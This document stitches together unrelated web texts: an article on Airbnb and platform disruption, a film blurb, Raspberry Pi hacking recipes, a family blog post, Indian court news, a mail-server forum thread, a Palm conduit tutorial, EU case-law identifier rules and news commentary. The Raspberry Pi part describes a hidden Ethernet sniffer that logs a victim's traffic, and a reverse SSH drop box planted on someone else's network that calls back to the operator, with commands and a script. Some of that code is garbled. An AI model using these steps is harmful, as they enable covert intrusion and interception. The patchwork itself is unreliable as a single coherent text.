The author is a Forbes contributor. The opinions expressed are those of the writer.
Airbnb was recently valued at an eleven figure sum, which overshadows all, except the largest hotel chains. The usual criticisms to tech valuations aside, the impact of Airbnb on the traditional hotel industry is definitely being felt. But why did the industry fail to spot this threat for so long? How does something like Airbnb come out of the ordinary and change the rules of an entire industry? And how could something like this be repeated in another industry?
Getting Blindsided By Platform Thinking
Airbnb is the latest in a series of disruptions brought about by internet businesses over the last 10 years. The likes of YouTube, Wikipedia, the iPhone App Store, Amazon, Uber, oDesk, and even Twitter, restructure the value chain of traditional industries and threaten to put their traditional counterparts out of business.
The recent Jill Lepore - Clay Christensen debate notwithstanding, one has to admit that disruption is a reality, and Christensen's theory serves well to explain why incumbents, in general, get blindsided.
Long one of the most bastardized words in startup circles, disruption ironically has very little to do with the adoption of a radically new technology. Instead, a disruptive offering gives up some attributes that appeal to a core market, in order to gain advantages in a low-end market. The offering takes hold in this low-end market, continuously moves up-market through improving quality, and eventually disrupts established competitors.
AirBnB serves as an example of how today's networked platforms compete with traditional industry behemoths without appearing to do so, at all. Platforms connect producers and consumers - hosts and travelers in the case of Airbnb - and facilitate their interactions and exchange. Platforms often solve a problem that would traditionally have been solved by a manufacturer or a service provider, e.g. a hotel or a staffing agency, with one key difference: These platforms do not "own" inventory, and are, hence, seemingly incapable of controlling quality.
When a new platform comes up, it rethinks the four fundamental assumptions that govern business:
- How is value created?
- How is value consumed?
- How is quality controlled for the value creation?
- How does value creation scale?
Any business must answer these four fundamental questions. Most sustaining innovation, in fact, is an improvement along one or more of these parameters.
Platforms like Airbnb rethink these assumptions and restructure the traditional value chain and operating model for the industry.
- Rethinking value creation: Airbnb allows anyone with a spare mattress or room to run their own BnB, by giving them access and tools to market themselves to a potentially global market.
- Rethinking value consumption: It wasn't common for travelers to stay at strangers' apartments in a new city. AirBnB created a new behavior and changed the very design of the traditional trip.
- Rethinking quality control: Hotels are known for their service quality and the reliability of the customer experience. AirBnB, on the other hand relies on a peer curation mechanism to ensure quality and reliability.
- Rethinking scale: Traditional hotels would scale by adding more rooms through new properties. Airbnb doesn't own inventory. Instead, it scales by improving its ability to match users, leveraging better data.
At launch, platforms like Airbnb are dismissed as error-ridden experiments at best. They offer a new alternative by rethinking value creation and often create new behavior by rethinking value consumption. However, they fail to offer the quality and reliability that is offered by their traditional competitors. Apartments on Airbnb get raided, self-published books lead to a dip in quality and Wikipedia pages are vandalized. Eventually, platforms succeed when they create a strong curation system to separate the best from the rest. Over time, the platform scales by improving on its ability to match the right goods or services created on the platform with the right consumers. With strong curation and scalable matchmaking in place, the platform rapidly gains traction and develops the reliability needed to spill over to a mainstream market, blindsiding its traditional competitors in this process.
This pattern in platform-enabled disruption isn't specific to AirBnB. Platforms like YouTube, Wikipedia, KickStarter, oDesk and the Android app store, all exhibit these characteristics to varying extent. We discuss this in further detail below.
Rethinking Value Creation
Amazon allows anyone who has a story to tell to publish much like Airbnb allows anyone with a spare mattress to run a B&B. Wikipedia built a massive repository of knowledge without relying on experts. Kickstarter re-imagines an alternate model of venture funding, especially for creative projects.
By democratizing the tools of production and delivering access to a global market of consumers, these platforms unlock sources of supply that would otherwise not have existed.
Such supply explosion is usually accompanied by two key shifts:
- Reduction of friction in tools of production: Every time friction is removed in the production process by making it easier or cheaper, it affords the possibility of an explosion in supply. Twitter's 140-character limit brought down the effort in creating content and opened up the market of content creators as compared to traditional blogging. Platforms like Behance, Dribbble, Threadless and 99Designs enable independent designers to serve a global market, benefiting from the fact that the tools of design and printing have been democratized over time. One expects a similar shift in industrial design as 3D printers become more popular.
- Access to a global market for the first time: Word processing software had always been around but only a small minority was self-publishing books. Amazon's Kindle publishing platform offered not just the tools but also access to a global market for the first time.
However, easier production and global access alone aren't sufficient to enable creation of these new markets. Craigslist allowed anyone to run a B&B before Airbnb came along but it never quite powered the revolution in travel that Airbnb did. This brings us to our second point.
Rethining Value Consumption
The second step in disruption involves creation of new consumption behavior.
Staying at a stranger's apartment in a new city would have been considered crazy a few years back. AirBnB didn't just reimagine the supply side of the market, it also created an entirely new user behavior by providing newer and cheaper alternatives. It isn't mere coincidence that much of Airbnb's initial traction was driven by conferences and events which forced users to look for cheaper accommodation alternatives. Over time, this usage spilled over form conferences and backpacking to leisure and family travel, and eventually even to business travel.

'Django Unchained' (Dec. 25)
Stars: Jamie Foxx, Christoph Waltz, Leonardo DiCaprio Director: Quentin Tarantino Why we're excited: It's a solid holiday gift from Tarantino (as if there's any other kind). Foxx stars as the titular former slave who works with a former dentist (Oscar-winner Waltz, from Tarantino's "Inglourious Basterds") to track down his wife held by an evil plantation owner (as if there's any other kind) played by Leonardo DiCaprio. And before you start to worry, Samuel L. Jackson is on board, too. You are also, right?

Raspberry Pi Recipes
I2P on the Raspberry Pi
I2P on the Raspberry Pi
You guys know I love hardware keyloggers (which reminds me, at $35 for the
Raspberry Pi and $16 for a Teensy I should work on a network enabled hardware
keylogger), but why not an ethernet logger? The idea is simple, use the built-in
Ethernet of the Raspberry Pi, add another USB Ethernet adapter, set up bridging
and log everything with TCPDump! Or for that matter, you can use TCPDump's
capture filters to just grab what you want and pass on the rest (someone
mentioned to me that making a Wall of Sheep/Wall of Social Science Majors would
be a cool idea). I'd highly recommend finding a case to put your Raspberry Pi in
for this project, this laying naked on the floor on in a wiring closet will
stand out. Also, it will likely drop throughput quite a bit, especially if you
are trying to work at gigabit speeds (We are talking a USB 2 Ethenet dongle
after all). My script needs more testing, if the Raspberry Pi fails, the
victim's connection will go down.
First up, we need to install bridge-utils so we can set up a man in the middle
Ethernet bridge, then use an editor to write a script to set up bridging and
Basic Output via Raspberry Pi's GPIO and Serial/UART to an Arduinio/Teensy
This recipe will be very basic. Just some
simple IO (more accurately, just O) using the General Purpose Input/Output (GPIO) ports on the Raspberry
Pi. For more info, and pin-outs, you should see:
http://elinux.org/RPi_Low-level_peripherals Blinky! This is the hello world of
electronics. All it consists of is an LED and some jumper wires. I recommend
getting a bunch of male and female jumpers. The circuit is simple, though I should
probably have added a current limiting resistor.
The code is also simple, you could just type this all into a command line
after SSHing into your Raspberry Pi, or you could make a script. All this does
is turn the LED on and off at 1 second intervals.
sudo -i Here is a quick video of the results.
Output via GPIO The blinky example is ok, but the GPIO
pins on the Raspberry Pi work at 3.3 volts, what if we want to interface with
something that is working at 5v? For example, lets say you want to hook it up to
an Arduino or a Teensy. The simplest solution might be to buy some logic level
http://www.sparkfun.com/products/8745 at about $2 per pop, these are small and easy to use. You get 4 IO lines, or
two serial connections, depending on how you use them. I wired mine to a Teensy as follows:
This is the code I loaded on the Teensy:
setup(){ void
loop(){ All it does is watch to see if the line goes to 5v. If it
does, it print "high" using the Teensy's option to act as a USB HID
keyboard. I turn the Raspberry Pi's GPIO 4 on and off by setting it for
output using: echo
as root, then just turn it on with: echo
/sys/class/gpio/gpio4/value; or off with: echo
/sys/class/gpio/gpio4/value; Here is a video
of the results (with some really crappy camera phone work): UART/Serial Output from the Raspberry Pi We can also use the logic level
converters to work with UART/Serial and interface with a Teensy or Arduino. Here
is a simple diagram/schematic of the hook up. Keep in mind that TX from the Teensy goes to
the RX on the Raspberry Pi and vice versa.
The code is also simple, I based it on some Paul had up on the
Teensy website. All
it does is print whatever comes in over the UART interface (notice I'm using
115200 bps as the connection speed).
// This line defines a "Uart" object to access
the serial port void
{ void
{ Now I can cat or echo things out to /dev/ttyAMA0, and the
Teensy should print them out as seen in this video (again, crappy camera
work): These are just
simple examples of using a Raspberry Pi to output to an Arduino or Teensy.
The Raspberry Pi is cheaper than many Ethernet Shields for the Arduino, and
a lot more powerful/flexible in it's own right. I plan to work later on bidirectional serial
interfacing with the Raspberry Pi.
SSH Phone Home: Using the Raspberry Pi as a proxy/pivot (Shovel a Shell)
In this section I'll cover setting up a Raspberry Pi to send you a
Reverse Shell using SSH (AKA: Shovel a shell). This is pretty good for
blowing past NAT and some firewalls with weak egress filtering. The idea is
that you can use these as drop boxes to leave behind on someone else's network,
then have them remote back out to you. These instructions should work pretty
much the same on any *nix device or distro that uses OpenSSH. Make
sure you have OpenSSH installed, but most distros I've seen do.
These are
the non-automated commands to do a reverse SSH connection and set up a
Proxy/Pivot using OpenSSH:
ssh -R 1974:localhost:22
root@some-pc-client On PC (must have SSH server on box):
ssh -D 1080 -p 1974
The above command also opens up a SOCKS port on you local PC host
that you
can use to tunnel traffic into the Raspberry Pis's network with.
Automating it Ok, the commands above
were just to do it manually, how about automating the shell shoveling? I based my work
on Brandon Hutchinson's script for automating the SSH reverse connection every
5 min, so check out his site.: Here
are the steps:
ssh-keygen -t rsa
cat ~/.ssh/id_rsa.pub | ssh email@example.com "cat - >> ~/.ssh/authorized_keys"
# Based on http://www.brandonhutchinson.com/ssh_tunnelling.html
# $REMOTE_HOST is the name of the remote system
# Setting my username for home box, you will most likely want to
change this
# $REMOTE_PORT is the remote port number that will be used to
# back to this system
# $COMMAND is the command used to create the reverse ssh tunnel
COMMAND="ssh -q -N -R $REMOTE_PORT:localhost:22 $USER_NAME@$REMOTE_HOST"
# Is the tunnel up? Perform two tests:
# 1. Check for relevant process ($COMMAND)
pgrep -f -x "$COMMAND" > /dev/null 2>&1 || $COMMAND
# 2. Test tunnel by looking at "netstat" output on $REMOTE_HOST
ssh $REMOTE_HOST netstat -an | egrep "tcp.*:$REMOTE_PORT.*LISTEN"
> /dev/null 2>&1
if [ $? -ne 0 ] ; then
pkill -f -x "$COMMAND"
and set it as executable with:
chmod 755 autossh
ssh –D 1080 -p 1974 pi@localhost

Picked this Sinclair Radio up today at a local Antique market where a lot of venders set up tables outside on Sundays. These were made to look like a gas pump and sold at gas stations. I got this home and stuck in a battery and it works! Sure reminds me of the old days listening to the Beatles "I want to hold your hand" enjoy.

How to dispose of unwanted electrical items and batteries
Buying new appliances, tools or gadgets is exciting – but knowing what to do with old items can be a bit of a headache. Not only do they take up space at home, they can contain materials that may be harmful if not disposed of correctly.
Fortunately, unwanted electricals can often be re-used (if they still work), and if not, can be recycled.

Finally! Somewhere along the lines of 35k+ mobs killed for this pet. Can't give an entirely accurate count because I didn't get an addon until I'd been at it for a good 10 hours. I averaged 1k mobs/hour farming on the road where the dragonkin and orcs fight each other. First day I tried after aoe looting dropped I got him in 45 minutes. With aoe looting my average was about 1800 mobs/hour. If you're someone who is very unlucky like me, silently thank bliz for aoe looting and get back to it!

my mom (41) and me (4 months). |
October 19, 2010
no wonder that it's mary that we love
It is my sweet mother's birthday today. My mom was around 40 years old when she brought me into this world and even though I knew that I had a mother who was older than my friend's moms, it never bothered me. That is, until I hit around 11 years old and my little brother and I couldn't figure out how old our mom was. We thought and thought and tried our best to work out the math (are you getting a clear picture of my math grades at this age?). I remember we went to my mom and asked her age. She just smiled and gave us the same old answer of "Oh, I'm 29." We hollered, "Mom! We know you're older than that! Tell us your REAL age!" And she'd smile again and say, "I can't say it outloud. It will make me old if I do." After pleading and pleading with her to disclose this very important fact to no avail, I remember feeling really upset. I didn't know how old my own mother was. It was very disturbing to me. Finally, after a suitable tantrum from an emotional tween and a 4th grader my mother decided to take us each into her bedroom, one at a time, and tell us the truth. I'm not sure why she decided to tell us separately but I remember feeling relieved that she had told me. The funny thing is I don't even remember what she said to me and I still don't really know how old she is (it appears my math skills haven't improved much). She must be 29 (again), I guess.
My mom:
- will often gaze at me for a few minutes (usually when I've just woken up for the day, gnarly hair and all) and then gently lean over and whisper, "you are SO beautiful" so genuinely that I almost believe her.
- loves cinnamon bears, Rolos, peppermint patties and toffee but she has so much self-control that I doubt she's had more than one bite of each in the last ten years (if that).
- wears $300 designer boots at the ranch because she bought them at Last Chance for $15. It is so awesome. When she's at the ranch she looks like Mary Steenburgen in Did You Hear About the Morgans (and yes, I watched that movie. And no, I didn't hate it as much as I thought I would.)
- makes up the most amazing stories for children. In fact, sometimes I hear her telling one of her grandchildren a story and I find myself captivated, gaping-mouthed and glassy-eyed. She once made up a story when I was about 8 years old about some dolls who came to life and became real babies. It was so vivid and sounded so wonderful that I remember many nights, for many years, falling asleep to dreams about those baby dolls.
- can get really silly when she's in the right mood and it's my favorite thing ever. One of my best memories of this was when my parents took my brother and me to France my senior year of high school. We were all sleeping in a small hotel room in Normandy and it was late. We were very tired and were settling into our beds for the night. Not long after we turned out the lights my dad started doing his "breathing exercises". This involves eight seconds of slowly inhaling through the nose and then releasing the air through the mouth in a slow "whoosh". The first time he did it, we started to snicker quietly. The second time, it turned into bursts of laughter which made my dad lose his concentration. He told us to quit laughing which made us laugh even harder. My mom was laughing so hard that she was shaking the bed and crying. She said through her giggles and gasps, "Russell! It's just too funny!" Needless to say, it took us a while to calm down enough to get a few hours of sleep but we'll always have Normandy.
- always smiles and lights up when you enter the room and makes everyone feel like a million bucks.
Happy Birthday mother dear. You really are a remarkable woman.

This is such a darling tribute.
Liz, your mother is right. You should know to listen to her. You ARE beautiful. And judging by the absolutely stunning picture, it's no secret where you get it from. I hope you really KNOW this, Liz. From what I remember, I'm not sure you knew it in high school. I hope you do now. It was true then and it is true now.
Happy birthday Mary!Liz, you do have an amazing Mother! The first time I ever met her, she made me feel like "a million bucks"! And I am only an in-law to the distant family. I love her calmness. She can change the mood of a room with just one word! You are very blessed to have her....and at 41? She looked AMAZING! And still does.

The Delhi high court will pronounce its verdict on a plea by Congress leader Sajjan Kumar challenging a 2010 trial court order framing charges against him in a 1984 anti-Sikh riots case related to the killing of six people in Sultanpuri area, on Tuesday.
The judgment is set to come two-and-a-half months after a trial court acquitted Kumar in another riots case where five members of a family were murdered in Delhi Cantonment area. On April 30, the court let off Kumar saying he "deserved benefit of doubt" as the witnesses were unreliable. The acquittal had triggered widespread protest by Sikhs.
Justice Suresh Kait, who had reserved the order in the Sultanpuri case on May 24, will pronounce the verdict at 10.30 am on Tuesday.
Besides the Congress leader, co-accused Ved Prakash Pial alias Vedu Pradhan and Brahmanand Gupta had also moved the high court against framing of charges against them in the case. Complainant Sheela Kaur had filed a cross-appeal in the high court seeking to invoke the charges of criminal conspiracy against Kumar and four other accused in the case.
Earlier in July 2010, a lower court had framed charges against Kumar, Brahmanand Gupta, Peru, Khushhal Singh and Ved Prakash in connection with the case in which six persons were killed in Sultanpuri in anti-Sikhs riots that erupted in Delhi and elsewhere after the assassination of Indira Gandhi on October 31, 1984.
Besides charges of murder and rioting, the court had also framed charges for the offence of spreading enmity between the two communities against the accused in the case. The CBI had filed two charge sheets against Kumar and others in January 2010 in the riots cases registered in 2005 on the recommendation of the Justice GT Nanavati Commission which probed the sequence of events leading to the riots.

By letting his friends at Philips Color Kinetics take the reigns ol' North Dumpling is now fitted with energy sipping LED lighting inside and out. This resulted in in-house energy consumption dropping by 70%, and ensures his on-site replica of stonehenge gets the dramatic splash of nighttime green and purple it so clearly deserves (total energy reduction was to 50% when all of the new colored outside lighting is factored in). Still, it was enough to take the island entirely off the grid; Kamen produces all of his own juice with wind and solar power. Advertisement Advertisement While this could be a strong indication that Kamen is going Blofeld and that one of North Dumpling's mountains could soon be shaped into his facial likeness, it's a cool real-world demonstration of the benefits we could soon reap when LED lighting drops into the realm of affordability for people who don't own their own islands.

The Nintendo Wii U shipped without some of the services we'd heard it would feature, but now Hulu Plus has joined Netflix on the console. Although it's late arriving, it does feature second screen navigation on the GamePad with several playback control options, or the ability to watch video on the touchscreen. We're still waiting to see the TVii app next month and Amazon's Instant Video, but early adopters should be able to take advantage, assuming they're a subscriber or sign up for a trial membership. Check after the break for a quick demo video to see how it all works.
[Thanks, Quazie]

For the most part, I think technology is a good thing. However, like too many Oreos, too much technology can be too much of a good thing. For example, I see more and more parents with flickering DVD screens suspended from the roof of their SUVs. If you're relying on SpongeBob to keep your kids quiet while toting them from soccer to ballet, you're missing out on a little-known secret: The car is where kids tell you all the dirt.
My car becomes part coffee klatch, part confessional as soon as I start driving with my kids. The car is where I learn that somebody said something mean to my youngest daughter at school and what she did about it. (She says she walked away. I'll have to take her word for it.) It's where I find out that my older daughter has been worrying about something, or what she really thinks about her teacher. Once I even found out who ate the last of the marshmallows that I was saving for s'mores. (Sorry, I promised not to tell.)
And sometimes the car is where we get philosophical. My kids and I have admired fields of cornflowers and discussed why war exists. We've listened to all types of music, everything from Ralph's World to Echo and the Bunnymen. We've traded knock-knock jokes and discussed the state of the world.
These are the moments I cherish. Spontaneous "car talk" is much more rewarding than asking a tired fourth-grader about school that day and getting a one-word answer, or worse, no answer at all. For my family, the car is a place where my kids are on the move, the pressure is off, and they can let their thoughts and words float freely. What could be better than that?
Just one caution: As my girls get older and the discussions get more advanced, there is always the danger of Mom driving onto the shoulder in sheer dismay.
So please be careful when you're driving behind me. I may be getting an earful-but I wouldn't have it any other way.

Since a wholesale re-engineering of every vehicle is impossible, manufacturers are switching to low-rolling-resistance tires, re-gearing transmissions, moving from belt-driven accessories to electric, and so on. Each change accounts for only a tiny improvement on its own, but added up, the results can make a big difference.For instance, the wrapper on the 2009 Chevrolet Cobalt XFE is little changed over the 2008 Cobalt, but underhood the engineers tweaked the intake and exhaust valve lift duration, swapped the transmission gear ratios for lower operating revs, and put on some low-rolling-resistance tires. The result: one more mile per gallon over last year's model, up to 37 MPG. It may seem like a lot of work for that much payoff, but the competitive marketplace is a cut-throat kind of place, and nobody is standing still in the race for fuel economy.

I use ISPConfig3 with postfix, amavis and clamd. I have set in amavisd.conf messages marked as VIRUS, SPAM and BANNED to be deleted (discard) but I still get email alert notifications. How I can stop getting notifications for such messages? in amavisd.conf: $final_virus_destiny = D_DISCARD; $final_spam_destiny = D_DISCARD; $final_banned_destiny = D_DISCARD; $final_bad_header_destiny = D_PASS; The mail notifications I get have subject like the following: BANNED contents (.exe,.exe-ms,report.document.doc.exe) in mail FROM [117.xxx.xxx.xxx] <[email protected]>
Remove your email address from the banned admin, virus admin and bad header admin fields in the spamfilter policy.
Stop getting spam notifications I have not entered forward e-mail in my spamfilter policy (see attached screenshot). I checked it for the Normal level which I use globally and for the other spamfilter levels too. All email fields are empty. Why I still get those notifications?
These messages are not sent by a default configuration, so you must have entered your email address somewhere. The only way to activate this in amavisd is to enter the email address in the admin fields. So please check all policys again. If you did any manual modifications to the amavisd configuration files, then check these too if there is your email address somwhere.
OK, I found something in amavid.conf but it is the default options. The only thing I changed is the value of the $mydomain variable. $mydomain = "xxxxxxx.net"; And some lines bellow: $virus_admin = "virusalert\@$mydomain"; $mailfrom_notify_admin = "virusalert\@$mydomain"; $mailfrom_notify_recip = "virusalert\@$mydomain"; $mailfrom_notify_spamadmin = "spam.police\@$mydomain"; $mailfrom_to_quarantine = ''; # null return path; uses original sender if undef So, what to do? Comment them? Empty those values? For example set: $virus_admin = ""; All notifications are mailed to [email protected] and I get them from a "catch all" e-mail I have. I get about 100 messages per day which is very annoying.

Building Palm Conduits, Part 1
Pages: 1, 2
Mirror Synchronization
As we mentioned earlier, mirror-image synchronization requires that a conduit replicate changes between the desktop and the Palm device. Mirror-image conduits should support both fast and slow synchronization. When your conduit is called to do a FastSync, it only needs to look for new or dirty records in your application's Palm database and on the desktop. If your conduit is called for a slow sync, it must look at every record on the PDA and the desktop. The HotSync manager requests a slow sync whenever it determines that the last sync was not with this desktop. Otherwise, it requests a FastSync.
The Palm database manager supports per-record flags that track any changes to records in the database. These flags are listed in Table 4-1. In order to successfully implement a mirror-image conduit, your desktop database must support some or all of these flags on a per-record basis.
Flag |
Meaning |
Changed |
Either create a new record or edit an existing record |
Deleted |
Delete the record |
Archived |
Make an archive copy, then delete the record |
Secret |
Mark record as private |
The Windows CDK Companion has a section on design decisions and tradeoffs that you can use to evaluate the kind of conduit your application can support. We'll summarize a few key questions here:
In This Series
Building Palm Conduits, Part 4
Building Palm Conduits, Part 3
Building Palm Conduits, Part 2 |
- Do you have unique record identifiers that can be mapped into Palm record identifiers?
- Do you support per-record attributes, such as dirty, deleted, and archived?
- Is it easy to detect changes to desktop records?
- Are the desktop records categorized?
- Is it simple to map database records to desktop records or entities?
- Is it possible to partition the application and conduit to minimize synchronization times?
Unfortunately, there are no generic answers to these design questions. We will address these questions as they apply to a sample application and conduit that we will present later in this chapter. You'll have to consider them from the context of your own application.
If your user has experience with any of the Palm native applications, then he'll expect your conduit to replicate changes in the same manner. Palm has gone to great lengths to document this behavior, as it pertains to the native applications. (The synchronization logic is spelled out in the Palm Conduit Programmer's Companion for Windows, which is part of the CDK.) Your conduit should emulate as much of this behavior as makes sense for your application.
Table 4-2 shows the possible states for each record in an application. The desktop record states run along the top of the table and the Palm record states run down the left side.
No record |
No change |
Change |
New |
Delete |
No record |
No change |
Remove DP |
Change |
Conflict |
New |
Delete |
Remove DP |
The action that your conduit should take is found in the intersection of each of the possible states, and is spelled out in the following list:
- Desktop record replaces Palm record
- Palm record replaces desktop record
- Remove (DP)
- Delete the record from the desktop and/or the Palm
- Conflict
- Follow application rule to resolve synchronization conflict
After the conduit takes the indicated action, the record on the desktop is in the same state as the record on the Palm.
A conflict arises when a record is changed simultaneously on the Palm device and on the desktop. Palm recommends that this conflict be resolved by migrating the change in both directions. The user can then edit or delete the data on either the Palm or the desktop. At the next synchronization, the conduit will clean up all the changes.
TIP: Note that the blank cells in Table 4-2 correspond to conditions that Palm considers logically impossible or irrelevant to conduit design. Palm derived these conditions from the behavior of its native applications. Your conduit and application might not need to support all these conditions, or they might need to support different possibilities.
The situation is slightly more complicated if your application supports archive records. A Palm application such as Address
offers to archive a record when it is deleted. This is an offer to preserve the data somewhere on the desktop; presumably, the desktop provides the corresponding restore operation.
The ability to archive older records, instead of deleting them forever, was crucial to the early Palm devices, which sported 128 KB of memory. Users were forever shuffling data between the device and the desktop. While it is less critical now, memory is still a scarce resource. So if you can support the archive option in your application, you certainly should.
In general, when a Palm record is marked for archival, the conduit archives the record in an application-specific fashion, and then deletes the record from both the Palm and the desktop.
Table 4-3 shows how to handle Palm database records that are marked for archiving. In this table, the desktop record states appear along the top of the table and the Palm record archive states appear on the left side.
Delete |
No change |
No record |
Change |
Archive |
Archive, Remove DP |
Archive, Remove DP |
Archive, Remove DP |
Archive, Change |
Conflict |
Archive, No Change |
A conflict arises if a record has changed in both databases as the same time. In such a case, the conflict is deepened because the user has also requested that the record be archived--this means that she doesn't want to see it again any time soon. Here's how the Palm CDK Companion says you should handle the conflict:
If the changes are identical, archive both the device record and the desktop record. If the changes are not identical, do not archive the device record; instead, add the desktop record to the device database, and add the device record to the desktop database.
Table 4-4 shows what to do when a desktop record has been marked for archival. The most common case, in which the Palm device record has not changed, is handled by archiving the record and then removing it from both the device and the desktop.
Archive |
Archive, change |
Archive, no change |
Delete |
No change |
Archive, Remove DP |
No record |
Change |
Conflict |
Not surprisingly, a conflict occurs when the record to be archived has been changed in both databases. According to the Palm CDK Companion:
If the changes are identical, archive the device record and then delete the records from both the device and desktop databases. If the changes are not identical, do not archive the desktop record; instead, add the desktop record to the device database and add the device record to the desktop database.
A mirror-image conduit should also support the HHtoPC
and PCtoHH
synchronization types. Recall that these sync types cause the handheld data to overwrite the desktop or vice versa. At first it might seem counter-intuitive that your conduit could be called to blindly overwrite user data, on either the desktop or the Palm device. But keep in mind that your conduit is almost always called this way as a result of user intervention.
For example, your user might accidentally delete an entire category of data records on the Palm device. Instead of then synchronizing these changes, and thereby deleting the data from the desktop as well, the user can direct the conduit to overwrite all the Palm data, effectively restoring the deleted records.
A conduit must synchronize changes in category data as well as record data. Because a category is actually a compound data type--it has both a name and a numeric ID--the synchronization logic is a little harder. Palm addresses the default logic for the native conduits in the CDK documentation.We summarize it here:
- If the category ID has changed on either the desktop or the PDA, but the name is the same, update all desktop records to use the PDA category ID.
- If the desktop category name has changed, but the category ID is the same, then update the PDA category name. Note that this only holds true if the new desktop category name is not already in use on the PDA.
- If there is a category with a new name and ID on the desktop, and neither is in use on the PDA, then create a new category on the PDA. If the index is already in use, then assign a new index from the PDA, and update all the desktop records with it.
If your application supports categories, give careful consideration to the mapping between category names and identifiers on the Palm PDA and the desktop. And be aware that there is native support in the Palm operating system for only 15 active categories.
Other Types of Conduits
Your conduit will never be called for Install
, Backup
, or ProfileInstall
synchronization. These are reserved to the HotSync manager to perform special system functions. Your conduit can be called for DoNothing
synchronization, always at the user's request.
If you have a transactional conduit, you will have to masquerade as a mirror-image conduit. We don't discuss transactional conduits in this book. These conduits have the same structure and logic as the conduits we have already described, but they must handle distributed transactions and error rollback and recovery as well. We do cover the use of conduits to manage SQL data in Chapter 7.

(May 17, 2011) On April 29, 2011, the Council of the European Union, within the framework of its multi-annual European e-Justice Action Plan of 2009-2012, adopted its conclusions on the introduction of the European Case Law Identifier (ECLI) and stressed the significance of cross-border access to national case law and the need to standardize such access. (Council Conclusions Inviting the Introduction of the European Case Law Identifier (ECLI) and a Minimum Set of Uniform Metadata for Case Law 2011, OFFICIAL JOURNAL OF THE EUROPEAN UNION (C/127) 1 (Apr. 29, 2011).)
A key component of establishing and maintaining at the EU level an area of freedom, security, and justice is the European e-Justice portal, whose main goal is the dissemination of information on the various legal systems of the EU Member States to the national authorities, the legal profession, and the public at large. The Council noted that those interested in EU law may acquire knowledge and familiarity with it not only from EU legal sources, including databases and written materials, but also from the case law of national courts, including cases in which a national court requests a preliminary ruling and then makes a decision based on that preliminary ruling, as well as decisions of courts when they apply EU law on their own.
The Council, in its conclusions, identified a number of initiatives that have been put in operation and supported financially and administratively by the EU in order to achieve the goal of disseminating to all information on the legal systems of the 27 EU Member States. These initiatives include:
· a network of the Presidents of the Supreme Judicial Court of the EU;
· the "Dec. Nat." and Jurifast databases of the Association of Councils of State and Supreme Administrative Jurisdiction of the EU;
· the JURE (Jurisdiction Recognition Enforcement database of the European Commission; and
· EUR-lex and the case law database of the EU Agency for Fundamental Rights.
The Council also noted that researching the above databases is a time-consuming and cumbersome task and, quite often, the databases are not user-friendly. A study done by the Working Group on e-Law attributed such problems not only to the databases' multilingualism but also to the lack of uniform identifiers for case law. Some national court systems have developed their own identification systems, while in other EU states identifiers have been introduced by vendors. (Id.)
The Council invited the EU Members to apply the ECLI at the national level and on a voluntary basis.
The format of the ECLI is included in the Annex to the Conclusions. The ECLI must consist of five components, which must appear in the order that is shown in the Annex, as follows:
a) the abbreviation "ECLI";
b) the country code for the country under whose jurisdiction the judicial decision is rendered, namely:
· for EU Members and candidate countries, the codes in the inter-institutional style guide (the guide used in preparing legislation) are used;
· for other countries, the standard ISO 3166 alpha-2 is used;
· for the European Union, the code "EU" is used;
· for international organizations, the Commission determines a code, taking into account the fact that codes starting with "X" are already being used by EU institutions;
c) the abbreviation for the court or tribunal. The court code must have, inter alia, the following:
· a minimum of one and maximum of seven characters; and
· a letter to begin the code, but the rest of the code may contain numbers;
d) the year of the decision, which must be written in four digits; and
e) an ordinal number that must be unique and identify a specific case of a specific court issued in a specific year. (Id.)

The case could ultimately turn on one little word at the end of Gawker's story...
In the true spirit of its genre, the January 23 online leak of Quentin Tarantino's latest screenplay for the Western movie The Hateful Eight sets the stage for a showdown between Tarantino and gossip-news website Gawker. Aside from pure entertainment value of the personalities involved, the case confronts some of the hottest topics in copyright law, including fair use, safe harbors, and secondary liability. The case could ultimately turn, however, on one little word at the end of Gawker's story.
Gawker didn't actually display the full screenplay or even publish excerpts. Rather, Gawker reported the leak occurred while giving access to the poached script via a link to the website where it resided – apparently one that was independent and not otherwise connected to Gawker. Thus, Gawker says, it didn't interfere with Tarantino's rights. But Gawker also did one more thing ... it added "Enjoy!" at the end of its story. Gawker's liability likely hinges on whether that one word phrase reflected a desire that its readers click the link. Secondary liability, a fancy way for saying aiding and abetting, is a current hot topic in all areas of IP law, not just copyrights. Generally, liability in such circumstances only requires that a party encourage someone else to engage in conduct it knows to infringe, even if it wasn't directly engaged in the copying. The Supreme Court has dealt with this issue at least twice in the past ten years, most recently in the context of patent infringement in 2011 (Global-Tech v. SEB, dealing with the standard of knowledge required by the encourager). And while much still remains to be resolved in this area of the law, Gawker's ability to explain away what it meant by the story's one word conclusion is likely to prove its biggest hurdle. Absent that phrase, Gawker has a better chance to claim it was simply presenting a news story with supporting documentation. By including it, that "news" story is transformed into a salacious invitation by Gawker to check out the screenplay, maybe get a little advance preview your friends haven't (at least until you re-tweet the link to them, now potentially having exposed yourself to the same fate as Gawker). Big Hollywood names, complex legal theories, and big talk from both sides about not backing down all suggest those following the case might have their own opportunity to "Enjoy!" as things unfold. In pointing the world toward a leaked cowboy movie screenplay, perhaps Gawker might just as well have ended its story with a different one-word phrase: Draw!

Leaders in the United Church of Christ are lauding passage of major health care reform following a vote of the U.S. House of Representatives on March 21.
"We thank the members of the House of Representatives for their courage, vision, and leadership in making a wise decision and voting on what is best for people living in the United States," said the Rev. Geoffrey A. Black, the UCC's general minister and president, who was in Washington, D.C., attending the UCC-supported Ecumenical Advocacy Days when the House gave its approval to historic health care reform. "The passing of this bill moves us closer to the realm of God, a realm where mercy, compassion and love for all reigns on earth."
Black said members across the UCC are rejoicing that "the House put millions of individuals, children and families ahead of politics and egos and voted to help end the suffering of those without health insurance and to end the discriminatory practices of health insurance companies."
The Rev. Linda Jaramillo, executive minister of the UCC's Justice and Witness Ministries, said, "After nearly a decade of struggling for a new health care system, this historic vote moves us closer to realizing the right to adequate medical care and the opportunity to achieve and enjoy good health, as proclaimed by President Franklin Roosevelt's 1943 declaration 'Freedom from Want.'"
"While we recognize that the bill is far from perfect, we know that it was necessary to pass this bill as a first step in moving our great country forward in guaranteeing that health care is a basic right," Jaramillo said.
Remembering the late Rev. Martin Luther King, Jr.'s oft-quoted sentiment, "Of all the forms of inequality, injustice in health is the most shocking and inhuman," Barbara Baylor, the UCC's minister for health care justice, said, "This day will go down in history as the first time that we can dare to believe that perhaps the injustice in health care will not remain the most shocking and inhuman."
